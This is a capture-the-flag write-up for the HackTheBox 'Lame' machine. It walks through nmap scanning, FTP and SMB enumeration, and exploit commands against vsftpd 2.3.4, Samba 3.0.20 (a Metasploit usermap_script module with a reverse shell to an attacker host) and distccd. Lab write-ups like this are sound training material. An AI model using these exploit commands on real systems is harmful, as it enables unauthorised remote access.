Lame		
Organization: HackTheBox	Type: online CTF	
Categories: ☐ Network Security ☐ Cryptography ☐ Mobile Applications	☐ Reverse Engineering ☑ Web Applications ☐ Forensics	Difficulty: Easy
Name: Kasper Verhulst	Release date: 14-03-2017 Completing date:20-05-2025	

Scanning & Reconaissance

First, let us start scanning the machine to see which services are running. As usual, let's start by running an nmap command.

```
sudo nmap -sS -A -p1-1000 $BOX_IP -T4 -oN nmap_top1000.out
sudo nmap -sS -A -p- $BOX_IP -oN nmap.out -T4
```

We find the following services running on the machine

Port	Protocol	Service
21/tcp open	FTP	vsftpd 2.3.4
22/tcp open	SSH	OpenSSH 4.7p1
139/tcp open	SMB	Samba smbd 3.0.20
445/tcp open	SMB	Samba smbd 3.0.20
3632/tcp open	distccd	distccd v1

Initial Access

I first established an anonymous session with the FTP server as the nmap scan revealed this is posible, but there weren't any files shared:

```
$ ftp anonymous@$BOX_IP
$ ls -a
```

FTP server

Afterwards, I found online the software vsftpd 2.3.4 seems to have a famous backdoor vulnerability. I downloaded an exploit from Github and ran another exploit that comes with nmap, but neither worked:

```
$ python3 vsftpd_234_exploit.py $BOX_IP 21 whoami
$ nmap -sV --script ftp-vsftpd-backdoor --script-args ftp-vsftpd-backdoor.cmd
    ="id" $BOX_IP
```

SSH server

The SSH server OpenSSH 4.7 does not contain major vulnerabilities.

SMB server

Let's first discover which shares there are available:

smbmap –H $BOX_IP

There is an //opt and //tmp share, but only the /tmp share is readable. I didn't find anything interesting however.
After researching version 3.0.20 of the Samba server, it seems there is a vulnerability in this version as well. Because I couldn't really find a public exploit on Github, I relied on the exploit in Metasploit:

```
$ msfconsole
> use exploit/multi/samba/usermap_script
> show targets
...
> set TARGET 0
> set RHOST $BOX_IP
> set LHOST $ATTACKER_IP
> set LPORT 4343
> exploit
...
> shell (stabilize shell)
```

distccd

This would have been an alternative attack vector as there is a vulnerability with public exploit as well for this service

```
nmap –Pn –p 3632 10.10.10.3 —script distcc–cve2004–2687 —script–args="distcc
    –cve2004–2687.cmd='id'"
```